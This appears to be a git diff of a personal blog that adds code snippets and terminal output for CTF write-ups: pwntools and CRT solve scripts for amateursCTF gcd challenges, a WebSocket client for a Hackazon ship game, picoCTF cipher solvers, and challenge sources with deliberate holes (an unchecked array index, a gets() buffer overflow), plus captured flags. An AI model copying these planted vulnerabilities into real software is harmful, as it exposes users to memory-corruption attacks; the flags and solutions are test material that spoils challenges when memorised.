@@ -13,7 +13,7 @@ const ContentSecurityPolicy = `
media-src 'self';
connect-src *;
font-src 'self';
frame-src giscus.app
frame-src giscus.app www.youtube.com;
`
const securityHeaders = [

View File

@@ -0,0 +1,20 @@
#!/usr/local/bin/python
from flag import flag
from math import gcd
from Crypto.Util.number import getRandomInteger
for i in range(10):
x = getRandomInteger(2048)
for i in range(1412):
try:
n, m = map(int, input("n m: ").split())
assert m > 0
print(gcd(x + n, m))
except:
print("bad input. you *die*")
exit(0)
if int(input("x: ")) != x:
print("get better lol")
exit(0)
print(flag)

View File

@@ -0,0 +1,2 @@
<span style="color:#DC3958">$</span> python3 crt.py
727

View File

@@ -0,0 +1,6 @@
from sympy.ntheory.modular import crt
remainders = [0, 1, 2]
moduli = [1, 66, 145]
print(crt(moduli, remainders)[0] if crt(moduli, remainders) else None)

View File

@@ -0,0 +1,3 @@
<span style="color:#DC3958">$</span> python3 primorial.py
[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]
200560490130

View File

@@ -0,0 +1,12 @@
from operator import mul
from sympy import prime
from functools import reduce
N = 11
product = lambda arr: reduce(mul, arr)
primes = lambda n: [prime(i) for i in range(1, n + 1)]
primorial = product(primes_list := primes(N))
print(primes_list)
print(primorial)

View File

@@ -0,0 +1,25 @@
<span style="color:#DC3958">$</span> python3 gcd-query-v1.py
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to amt.rs on port 31692: Done
100%|████████████████████████████████████████████████| 1412/1412 [01:40<00:00, 14.04it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 13811095902755644846482198689370064280419582878881370588339407663501153599097195284332635926638411305942258944052308307425884540419653139328201177574618591335420779939401302525262761668546835553119134415209843691758490750645864747951903178159493692989313764187586990059771738586045200163035018216446295060384470539168062305034511452235970979419117273140216310229843138043113643676083166573964512431632513584641493571186432113808788793049942365375202657327092823486073026339330473573167785284165209471461667235221858615401687572827124962884033918145410980294471831046866805979291987510822776208660898664193371502076369...
100%|████████████████████████████████████████████████| 1412/1412 [01:39<00:00, 14.18it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 24067367100536683843481948076922477560798163483852376131506889605591036635118679499844242052966702222929625069993864001971991784523537397460489925865068254860456001028818287785908306185765071348619009610111507264477178797372871676258725033282034274029344720156895866898205325400301005606977551498118657975147925827017550691718920569276772375658283583669123223351383666410176219776924217313135666297206365499851033368053009731956567238895862545761556922844594607957247284759673600341901489257778669955325852703488640180914304223573157449663595250722203844469185404430056776595901097370576506862193119930831160153039645...
100%|████████████████████████████████████████████████| 1412/1412 [01:42<00:00, 13.73it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 7685947172198127107777374667140678037806540421611756768106993632815330391087682127761106281389571374683486036542219393848222956427456311509150767156618253036564165465877103809489418131493044562907409848106468095552829305154616093814537698857191866611405848665535095301533085044115738792583824412519602803896340117760062826548466221367283600448847746972947351204926974932363255643590572461847866131212915876781930382244418815057097926767432358949295853031446962377393616573125245033720888867119691231138082380781540624653902647240454815666606971400673655259741239065245766051836162679683854318266521387362235339818963...
100%|████████████████████████████████████████████████| 1412/1412 [01:48<00:00, 12.96it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 28766597769066741230993303926175357282954768621233983144247678673049812708196765345415367655618893220733421356772068739001346432681969591602594000222935708614736440936324186157291043386940251492732071082955951404839783470962507206296695705772074953353546686886779924440978723433609048598598557281139170990533603117402151358229049939138057179004531916123178096145539893434618636827593836703383290710315795175927215739591698425024135973070441559270137929182535000574864967444140896001119156515670962563767514223212280621106522255581529578812057211426495559846747556429983130401676611828235555517439427391088312200114340...
100%|████████████████████████████████████████████████| 1412/1412 [01:48<00:00, 12.96it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 18677865908712209418730292654495724290528015510849858170490326355917878128672697854412093924844953163531044998001901092328085313583550146789000037524845877889213383321493193527654231781920756937019622080934588887712014723043748042773932440938345206132177553968803673898406541136240569574800190461899894265810140460486655043391890259966104420844165420881554658957162718918577408662447920231593944600773563355101328960702284671589526558563130043732776075973109889576802320970196034207684109511514803796952372219472313970655379778369020701807058741890165241070828680239075259918663032394171833038787909487851805314448855...
100%|████████████████████████████████████████████████| 1412/1412 [01:48<00:00, 13.04it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 11836304072505940760905398461025892318706585845650403696307459093367797596638544732184279765210985819028521462466659807744822525225803985864600241663739335757162123665479918660034002791253847913555642278244324401618077147970750599192781639662548591816262731603920094166899224650569096625236689552770883756297212091569908376860048642542934085934566447138965676494758498143342092937071252542730569085822506016460475594952618479964682242645697696278787543882802499332735666538165978355896706100386750883766313015341113034064919164380613692392893978943240510241390029989518020435933206590980911069595815998565379069909389...
100%|████████████████████████████████████████████████| 1412/1412 [01:41<00:00, 13.96it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 24420317305481938235298816362557385961714901243708043773212938107240257747575084932010962245916115390272993933485519074175413937032219229340852213726095989669920838194928305315596794542040319098487745543566184511761273969488130776737327461785375756602677264323848990754751137123554424297870859009175724453359380143043353234606272818695542001911680712268305408158942520319373201023864766813929760605476351460653167923702044806507429823017011764363703007211685200696996786931196521238655621661875819296934888297861611356597802643815992467649175717154699654523758457803470066054358275486505747893429992866200270596751661...
100%|████████████████████████████████████████████████| 1412/1412 [01:41<00:00, 13.88it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 8746291504496083705140234574423923063059898747805616503433378954631117111728432658171757653262574759520885819600709214831440637441682872538488457078503354842623369405387792688967753515150540937598749631247461920903968813846190627144355870774195605725620782391303120773103714215960469406131157602962890188334776881890375489689159892019798284385240341860588296227193890430441913365280249935967752362698906808472066477044546437447680420530404664353015954160203510906286156917563841786143548435782146501639423205167799462812075950205027561610970211630045995943417742820399866853970400326052614548186021028377532627871871...
100%|████████████████████████████████████████████████| 1412/1412 [01:40<00:00, 14.04it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 3776413613793582995242313256619110085658321586908926663317897349018550337476212258001071782419149912458930815766646550905337728235723272307300941378102274620677732536698577550109310923000424024247688263149196304346054985707956034894436449516525188403790594363585031931796537049874831484362274536023181224802004917294072535858788876951492192929873860801099312063749164291473720602843643395639623020123560780204286718457892996637266933865612558076298859165369386500999104085401312934963056223158856645251058491411254518324928110474142394413979203565229916374507552727133704100494765430582149582181194711798933201266021...
100%|████████████████████████████████████████████████| 1412/1412 [01:40<00:00, 14.04it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 1918394921512833068322813834316966022087953894715768422110215181294946514179366813169888547301240804065469118491966955739537769705481715671974513435395758846983078501045506154549423946256752609980460175712801980425200034239297194967213554421865155886790770452738651550235456908807289298689411961528971586844393153811563148549039163519157171048516600236632351978597301720067795049402110382108201111192361352987205533077861286786308995238804327546009181093588939942796532972223963350139247226287706412840852858507637203561823774800941737820339261986921678654613897476089927020657074799151225998589947737942511343979790...
[<span style="color:#47D4B9"><b>+</b></span>] Receiving all data: Done (45B)
[<span style="color:#277FFF"><b>*</b></span>] Closed connection to amt.rs port 31692
[<span style="color:#47D4B9"><b>+</b></span>] amateursCTF{probabilistic_binary_search_ftw}

View File

@@ -0,0 +1,30 @@
from sympy.ntheory.modular import crt
from sympy import primorial
from tqdm import tqdm
from pwn import *
# Generate the 256th primorial
N = 2**8
primorial = primorial(N)
p = remote('amt.rs', 31692)
for _ in range(10):
remainders = []
moduli = []
for j in tqdm(range(1412)):
n = -j
m = primorial
p.sendlineafter(b'n m: ', bytes(f'{n} {m}', 'utf-8'))
# Append positive j and the GCD result to remainders and moduli
remainders.append(j)
moduli.append(int(p.recvlineS()))
# Apply Chinese Remainder Theorem on the generated congruence system
result = crt(moduli, remainders)[0]
log.info(f'Guessing result {result}...')
p.sendlineafter(b'x: ', bytes(str(result), 'utf-8'))
log.success(p.recvallS())

View File

@@ -0,0 +1,18 @@
#!/usr/local/bin/python
from flag import flag
from math import gcd
from Crypto.Util.number import getRandomInteger
x = getRandomInteger(128)
for i in range(16):
try:
n, m = map(int, input("n m: ").split())
assert m > 0
print(gcd(x + n, m))
except:
print("bad input. you *die*")
exit(0)
if int(input("x: ")) == x:
print(flag)
else:
print("get better lol")

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> python3 gcd-query-v2.py
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to amt.rs on port 31693: Done
100%|█████████████████████████████████████████████████████| 16/16 [00:01<00:00, 11.55it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 621207498018765489399784775...
[<span style="color:#47D4B9"><b>+</b></span>] Receiving all data: Done (15B)
[<span style="color:#277FFF"><b>*</b></span>] Closed connection to amt.rs port 31693
[<span style="color:#47D4B9"><b>+</b></span>] get better lol

View File

@@ -0,0 +1,32 @@
from sympy.ntheory.modular import crt
from sympy import primorial
from tqdm import tqdm
from pwn import *
# Generate the 256th primorial
N = 2**8
primorial = primorial(N)
p = remote('amt.rs', 31692)
p = remote('amt.rs', 31693)
for _ in range(10):
remainders = []
moduli = []
for j in tqdm(range(1412)):
for j in tqdm(range(16)):
n = -j
m = primorial
p.sendlineafter(b'n m: ', bytes(f'{n} {m}', 'utf-8'))
# Append positive j and the GCD result to remainders and moduli
remainders.append(j)
moduli.append(int(p.recvlineS()))
# Apply Chinese Remainder Theorem on the generated congruence system
result = crt(moduli, remainders)[0]
log.info(f'Guessing result {result}...')
p.sendlineafter(b'x: ', bytes(str(result), 'utf-8'))
log.success(p.recvallS())

View File

@@ -0,0 +1,10 @@
# Generate the 256th primorial
N = 2**8
# Generate the 1024th primorial
N = 2**10
primorial = primorial(N)

View File

@@ -0,0 +1,9 @@
<span style="color:#DC3958">$</span> python3 algo5.py
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to amt.rs on port 31693: Done
100%|█████████████████████████████████████████████████████| 16/16 [00:01<00:00, 11.45it/s]
[<span style="color:#277FFF"><b>*</b></span>] Moduli: [2090, 21, 2, 1, 1942352142, 85, 254, 3, 6874, 1, 390, 341, 5392666, 141, 2, 2485]
[<span style="color:#277FFF"><b>*</b></span>] Remainders: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 24101417952332326654560233907130...
[<span style="color:#47D4B9"><b>+</b></span>] Receiving all data: Done (15B)
[<span style="color:#277FFF"><b>*</b></span>] Closed connection to amt.rs port 31693
[<span style="color:#47D4B9"><b>+</b></span>] get better lol

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> python3 gcd-query-v2.py
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to amt.rs on port 31693: Done
100%|█████████████████████████████████████████████████████| 16/16 [00:01<00:00, 11.16it/s]
[<span style="color:#277FFF"><b>*</b></span>] Guessing result 330896654198662695248401611762768684627...
[<span style="color:#47D4B9"><b>+</b></span>] Receiving all data: Done (15B)
[<span style="color:#277FFF"><b>*</b></span>] Closed connection to amt.rs port 31693
[<span style="color:#47D4B9"><b>+</b></span>] amateursCTF{crt_really_is_too_op...wtf??!??!?!?must_be_cheating!!...i_shouldn't've_removed_query_number_cap.}

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> node test.js
[+] Connected!
ID: 0 | (211, 256) (271, 524) | DIR: UP
ID: 0 | (211, 256) (271, 524) | DIR: UP
ID: 0 | (211, 252) (271, 520) | DIR: UP
ID: 0 | (211, 248) (271, 516) | DIR: UP
...

View File

@@ -0,0 +1,22 @@
// Make sure you install WebSocket with "npm i ws"!
const WebSocket = require('ws');
// Regex so that I can freely paste the URL when the instance is changed
const url = "https://[REDACTED].challenge.hackazon.org/";
// Opens WebSocket connection
const socket = new WebSocket(`wss://${url.replace(/^https?:\/\//, "")}ws`);
// Runs on socket open, equivalent to .addEventListener()
socket.onopen = function() {
console.log("[+] Connected!");
// Converts object to string
socket.send(JSON.stringify({
"type": "START_GAME",
"level": 1
}));
};
// Runs when output from server is received
socket.onmessage = function(event) {
// Output is received in event
console.log(`[-] ${event.data}`);
};

View File

@@ -0,0 +1,8 @@
<span style="color:#DC3958">$</span> node test.js
[+] Connected!
[-] {"type":"GAME_START","level":{"id":1,"board":{"width":1886,"height":1188,"obstructions":[{"type":"HARBOUR_BORDER","area":[{"x":577,"y":0},{"x":627,"y":215.7142857142857}]},{"type":"HARBOUR_BORDER","area":[{"x":875,"y":0},{"x":925,"y":215.7142857142857}]},{"type":"BORDER_ROCK","area":[{"x":0,"y":0},{"x":577,"y":51}]},{"type":"BORDER_ROCK","area":[{"x":925,"y":0},{"x":1886,"y":51}]}],"harbour":[{"x":700,"y":0},{"x":850,"y":107.85714285714285}]},"mechanics":{"borderCollision":false,"sequentialDocking":true},"ships":[null]}}
[-] {"type":"TICK","ships":[{"type":"SHIP_6","area":[{"x":472,"y":795},{"x":532,"y":1063.75}],"direction":"UP","speed":3,"id":0,"isDocked":false}]}
[-] {"type":"TICK","ships":[{"type":"SHIP_6","area":[{"x":472,"y":795},{"x":532,"y":1063.75}],"direction":"UP","speed":3,"id":0,"isDocked":false}]}
[-] {"type":"TICK","ships":[{"type":"SHIP_6","area":[{"x":472,"y":792},{"x":532,"y":1060.75}],"direction":"UP","speed":3,"id":0,"isDocked":false}]}
[-] {"type":"TICK","ships":[{"type":"SHIP_6","area":[{"x":472,"y":789},{"x":532,"y":1057.75}],"direction":"UP","speed":3,"id":0,"isDocked":false}]}
...

View File

@@ -0,0 +1,31 @@
// Sends steer command after one second
setTimeout(() => {
socket.send(JSON.stringify({
"type": "SHIP_STEER",
"shipId": 0
}));
}, 5000);
};
// Runs when output from server is received
socket.onmessage = function(event) {
// Output is received in event
console.log(`[-] ${event.data}`);
// Converts server output into object
let obj = JSON.parse(event.data);
};

View File

@@ -0,0 +1,22 @@
{
"type": "TICK",
"ships": [
{
"type": "SHIP_6",
"area": [
{
"x": 472,
"y": 795
},
{
"x": 532,
"y": 1063.75
}
],
"direction": "UP",
"speed": 3,
"id": 0,
"isDocked": false
}
]
}

View File

@@ -0,0 +1,49 @@
class Ship {
// Initializes class object instance
constructor(id, topLeft, bottomRight, direction) {
this.id = id;
this.topLeft = topLeft;
this.bottomRight = bottomRight;
this.direction = direction;
}
// Getter + abusing template literals
get printState() {
return `ID: ${this.id} | (${Math.floor(this.topLeft.x)},
${Math.floor(this.topLeft.y)}) (${Math.floor(this.bottomRight.x)},
${Math.floor(this.bottomRight.y)}) | DIR: ${this.direction}`;
}
}
// Runs when output from server is received
socket.onmessage = function(event) {
// Converts server output into object
let obj = JSON.parse(event.data);
if(obj.type == "TICK") {
let ships = [];
// For each ship in obj.ships, push class object into ships array
for(const i of obj.ships) {
ships.push(new Ship(i.id, i.area[0], i.area[1], i.direction));
}
// Call the string literal getter
for(const i of ships) {
console.log(i.printState);
}
}
};

View File

@@ -0,0 +1,23 @@
socket.onopen = function() {
console.log("[+] Connected!");
// Converts object to string
socket.send(JSON.stringify({
"type": "START_GAME",
"level": 1
}));
// Sends steer command after one second
setTimeout(() => {
socket.send(JSON.stringify({
"type": "SHIP_STEER",
"shipId": 0
}));
}, 5000);
};

View File

@@ -0,0 +1,36 @@
.flex-container {
display: flex;
flex-wrap: nowrap;
justify-content: center;
gap: 10px;
}
body {
background-color: #1d1f21;
color: #c9cacc;
font-size: 12px;
}
fieldset {
text-align: center;
font-family: "Trebuchet MS";
}
textarea {
font-family: "Courier New";
}
p {
margin-top: 5px;
margin-bottom: 5px;
}
button {
border: none;
cursor: pointer;
height: 25px;
padding: 0px 10px;
border-radius: 10px;
color: #222;
font-size: 11px;
}

View File

@@ -0,0 +1,17 @@
<div class="flex-container">
<div>
<fieldset>
<p>Start Level:</p>
<div>
<button id="lvl0">Level 1</button>
</div>
<p>Steer Ships:</p>
<div>
<button id="steer0">Steer 0</button>
</div>
</fieldset>
</div>
<div>
<textarea id="textarea" cols="80" rows="20"></textarea>
</div>
</div>

View File

@@ -0,0 +1,5 @@
<p>Start Level:</p>
<button id="lvl0">Level 1</button>
<p>Steer Ships:</p>
<button id="steer0">Steer 0</button>

View File

@@ -0,0 +1,5 @@
...
ID: 0 | (688, 115) (748, 383) | DIR: UP
ID: 0 | (688, 115) (748, 383) | DIR: UP
ID: 0 | (688, 111) (748, 379) | DIR: UP
{"type":"WIN","flag":"CTF{CapTA1n-cRUCh}"}

View File

@@ -0,0 +1,83 @@
// Make sure you install WebSocket with "npm i ws"!
const WebSocket = require('ws');
// Regex so that I can freely paste the URL when the instance is changed
const url = "https://[REDACTED].challenge.hackazon.org/";
// Opens WebSocket connection
const socket = new WebSocket(`wss://${url.replace(/^https?:\/\//, "")}ws`);
// Object literal for level lookup
const passwords = [{
level: 1,
password: ""
}
];
// Runs on socket open, equivalent to .addEventListener()
socket.onopen = function() {
console.log("[+] Connected!");
// Converts object to string
socket.send(JSON.stringify({
"type": "START_GAME",
"level": 1
}));
};
// Assigns onclick listeners for each level button
findAll("lvl").forEach(function(element, index) {
element.onclick = function() {
socket.send(JSON.stringify({
type: "START_GAME",
level: passwords[index].level,
password: passwords[index].password
}));
};
});
// Assigns onclick listeners for each steer button
findAll("steer").forEach(function(element, index) {
element.onclick = function() {
socket.send(JSON.stringify({
type: "SHIP_STEER",
shipId: `${index}`
}));
};
});
// Creates DOM array for each element with name id + int
function findAll(id) {
let i = 0;
let list = [];
while (document.getElementById(id + i)) {
list[i] = document.getElementById(id + i);
i++;
}
return list;
}

View File

@@ -0,0 +1,87 @@
const text = document.getElementById("textarea");
// For each ship in obj.ships, push class object into ships array
for(const i of obj.ships) {
ships.push(new Ship(i.id, i.area[0], i.area[1], i.direction));
}
// Call the string literal getter
for(const i of ships) {
console.log(i.printState);
log(i.printState);
}
} else {
log(JSON.stringify(JSON.parse(event.data)));
}
};
function log(str) {
text.value += "\n" + str;
text.value = text.value.substring(text.value.length - 10000);
text.scrollTop = text.scrollHeight;
}

View File

@@ -0,0 +1,14 @@
const passwords = [{
level: 1,
password: ""
},
{
level: 2,
password: "CTF{CapTA1n-cRUCh}"
}
];

View File

@@ -0,0 +1,8 @@
<fieldset>
<p>Start Level:</p>
<div>
<button id="lvl0">Level 1</button>
<button id="lvl1">Level 2</button>
</div>

View File

@@ -0,0 +1,5 @@
...
ID: 0 | (789, 105) (849, 294) | DIR: UP
ID: 1 | (796, 105) (856, 373) | DIR: UP
ID: 2 | (691, 108) (751, 389) | DIR: UP
{"type":"WIN","flag":"CTF{capt41n-h00k!}"}

View File

@@ -0,0 +1,15 @@
<p>Steer Ships:</p>
<div>
<button id="steer0">Steer 0</button>
<button id="steer1">Steer 1</button>
<button id="steer2">Steer 2</button>
</div>
</fieldset>

View File

@@ -0,0 +1,5 @@
...
ID: 0 | (760, 105) (820, 343) | DIR: UP
ID: 1 | (736, 101) (796, 371) | DIR: UP
ID: 2 | (742, 113) (802, 393) | DIR: UP
{"type":"WIN","flag":"CTF{c4pt41N-m0rG4N}"}

View File

@@ -0,0 +1,22 @@
<p>Steer Ships:</p>
<div>
<button id="steer0">Steer 0</button>
<button id="steer1">Steer 1</button>
<button id="steer2">Steer 2</button>
</div>
<p>Loop Ships:</p>
<div>
<input type="checkbox" id="loop0" checked>Loop 0</input>
<input type="checkbox" id="loop1" checked>Loop 1</input>
<input type="checkbox" id="loop2" checked>Loop 2</input>
</div>
</fieldset>

View File

@@ -0,0 +1,71 @@
window.lastRot = 0;
// Runs when output from server is received
socket.onmessage = function (event) {
// Converts server output into object
let obj = JSON.parse(event.data);
if (obj.type == "TICK") {
let ships = [];
// For each ship in obj.ships, push class object into ships array
for (const i of obj.ships) {
ships.push(new Ship(i.id, i.area[0], i.area[1], i.direction));
}
// Call the string literal getter
for (const i of ships) {
log(i.printState);
}
} else {
log(JSON.stringify(JSON.parse(event.data)));
}
// Guard clause for looping ships!
if (performance.now() - window.lastRot < 500) return;
window.lastRot = performance.now();
// Sends steer if checkbox is checked
findAll("loop").forEach(function (element, index) {
if (element.checked) {
socket.send(JSON.stringify({
type: "SHIP_STEER",
shipId: `${index}`
}));
}
});
};

View File

@@ -0,0 +1,6 @@
...
ID: 0 | (742, 107) (802, 345) | DIR: UP
ID: 1 | (731, 105) (791, 385) | DIR: UP
ID: 2 | (752, 107) (812, 377) | DIR: UP
ID: 3 | (731, 114) (791, 395) | DIR: UP
{"type":"WIN","flag":"CTF{C4pt41N-4MErIc4}"}

View File

@@ -0,0 +1,195 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}

View File

@@ -0,0 +1,5 @@
<span style="color:#DC3958">$</span> nc saturn.picoctf.net 50366
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program

View File

@@ -0,0 +1,21 @@
<span style="color:#DC3958">$</span> nc saturn.picoctf.net 50366
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
<span style="color:#DC3958">&gt;</span> 1
1
Please enter your data:
<span style="color:#DC3958">&gt;</span> hello
hello
Please enter the length of your data:
<span style="color:#DC3958">&gt;</span> 5
5
Your entry number is: 1
Write successful, would you like to do anything else?
<span style="color:#DC3958">&gt;</span> 2
2
Please enter the entry number of your data:
<span style="color:#DC3958">&gt;</span> "NO!"
"NO!"
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,2 @@
<span style="color:#DC3958">$</span> python3 solve.py
picoCTF{R0UND_N_R0UND_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,18 @@
// Splitting into array
x = "54 211 168 309 262 110 272 73 54 137 131 383 188 332 [REDACTED]".split();
// Mod 37
y = x.map(x => x % 37);
z = [];
for (let i = 0; i < y.length; i++) {
// Mapping to charset
if (y[i] >= 0 && y[i] <= 25) {
z.push(String.fromCharCode(y[i] + 'A'.charCodeAt(0)));
} else if (y[i] >= 26 && y[i] <= 35) {
z.push(y[i] - 26);
} else if (y[i] == 36) {
z.push("_");
}
}
// Combine back to string
z = z.join("");
console.log(`picoCTF{${z}}`);

View File

@@ -0,0 +1,10 @@
#!/usr/bin/env python3
import string
x = "54 211 168 309 262 110 272 73 54 137 131 383 188 332 [REDACTED]"
y = x.split()
a = string.ascii_uppercase + string.digits + "_"
# Insane list comprehension
z = [a[int(i) % 37] for i in y]
print("picoCTF{"+''.join(z)+"}")

View File

@@ -0,0 +1,2 @@
<span style="color:#DC3958">$</span> node solve.js
picoCTF{1NV3R53LY_H4RD_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,24 @@
// Splitting into array
x = "54 211 168 309 262 110 272 73 54 137 131 383 188 332 [REDACTED]".split();
// Mapping to % 41 with modular inverse of 41
y = x.map(x => x % 41).map(x => modInverse(x, 41));
z = [];
// Mapping to charset
for (let i = 0; i < y.length; i++) {
if (y[i] >= 1 && y[i] <= 26) z.push(String.fromCharCode(y[i] + 64));
else if (y[i] >= 27 && y[i] <= 36) z.push(y[i] - 27);
else if (y[i] == 37) z.push("_");
}
console.log(`picoCTF{${z.join("")}}`);
// credit to: https://rosettacode.org/wiki/Modular_inverse
function modInverse(a, b) {
a %= b;
for (var x = 1; x < b; x++) {
if ((a * x) % b == 1) {
return x;
}
}
}

View File

@@ -0,0 +1,6 @@
🠞15 (🠜11) ngamARD{A7p1D_54T35_71K3}
🠞1 (🠜25) buoaOFR{O7d1R_54H35_71Y3}
🠞17 (🠜9) leykYPB{Y7n1B_54R35_71I3}
🠞24 (🠜2) exrdRIU{R7g1U_54K35_71B3}
🠞11 (🠜15) rkeqEVH{E7t1H_54X35_71O3}
🠞13 (🠜13) picoCTF{C7r1F_54V35_71M3}

View File

@@ -0,0 +1,2 @@
<span style="color:#DC3958">$</span> grep -n cultiris usernames.txt
378:cultiris

View File

@@ -0,0 +1,8 @@
CMPTmLrgfYCexGzJu6TbdGwZa
GK73YKE2XD2TEnvJeHRBdfpt2
UukmEk5NCPGUSfs5tGWPK26gG
kaL36YJtvZMdbTdLuQRx84t85
K9gzHFpwF2azPayAUSrcL8fJ9
rYrtRbkHvJzPmDwzD6gSDbAE3
kfcVXjcFkvNQQPpATErx6eVDd
...

View File

@@ -0,0 +1,7 @@
...
ARKadGaCZBc3ue4BfB7Vjwx83
CSYbRFVpJZNQJ4Jz3GmDsAa9Q
cvpbPGS{P7e1S_54I35_71Z3}
wTL8rTRNCkSyGP5AFsG5qK52y
9jyG4W6PnsAVuyx8MJkHKYtXV
...

View File

@@ -0,0 +1,8 @@
engineerrissoles
icebunt
fruitfultry
celebritypentathlon
galoshesopinion
favorboeing
bindingcouch
...

View File

@@ -0,0 +1,8 @@
<tspan sodipodi:role="line" x="107.43014" y="132.08501" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3748">p </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.08942" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3754">i </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.09383" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3756">c </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.09824" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3758">o </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.10265" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3760">C </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.10706" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3762">T </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.11147" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3764">F { 3 n h 4 n </tspan>
<tspan sodipodi:role="line" x="107.43014" y="132.11588" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3752">c 3 d _ [R E D A C T E D] }</tspan>

View File

@@ -0,0 +1,27 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
